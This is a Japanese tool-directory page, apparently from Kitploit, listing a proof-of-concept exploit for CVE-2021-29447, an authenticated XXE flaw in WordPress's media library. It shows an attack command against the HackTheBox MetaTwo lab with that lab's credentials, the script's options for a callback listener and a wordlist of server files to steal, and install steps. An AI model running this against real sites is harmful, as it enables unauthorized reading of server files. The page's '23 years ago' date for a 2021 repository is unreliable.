Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-29447 — CVE-2021-29447 - 認証済みXXEインジェクション - WordPress < 5.7.1 & PHP > 8 | Kitploit
ツール/GitHubGitHub/viardant/cve-2021-29447
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集CTFペネトレーションテスト
GitHubviardant/cve-2021-29447

CVE-2021-29447

CVE-2021-29447 - 認証済みXXEインジェクション - WordPress < 5.7.1 & PHP > 8

リポジトリを見る
23年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-29447

WordPress 5.6-5.7 (PHP 8+) の認証済みXXEインジェクションを悪用するPOCです。このCVEの詳細はこちら

使用例

XXEインジェクションに対して脆弱なメディアライブラリを持つWordPressサイトをホストするHackTheBoxのMetaTwoマシンに対する使用例です。

root@kitploit:~
python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w file_wordlist

asciicast

使い方

root@kitploit:~
usage: lfi.py [-h] -u USERNAME -p PASSWORD -t TARGET -lh LHOST [-lp LPORT] [-w WORDLIST] [-i] [-v] [-s]
              [filenames ...]

positional arguments:
  filenames             Filenames to fetch

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        Username to user in authenticated upload
  -p PASSWORD, --password PASSWORD
                        Password to user in authenticated upload
  -t TARGET, --target TARGET
                        Remote host to target, e.g. "metapress.htb"
  -lh LHOST, --host LHOST
                        Hostname on which server is bound (default "")
  -lp LPORT, --port LPORT
                        Listening port (default "8080")
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist of filenames to be fetched
  -i, --interactive     Runs in interactive mode
  -v, --verbose         Enables verbose mode
  -s, --skip            Skip php server spin-up (MAKE SURE IT IS ALREADY RUNNING!)

インストール

phpがインストールされていることを確認してください。

root@kitploit:~
git clone https://github.com/viardant/CVE-2021-29447
cd CVE-2021-29447
pip install -r requirements.txt
ツールをダウンロード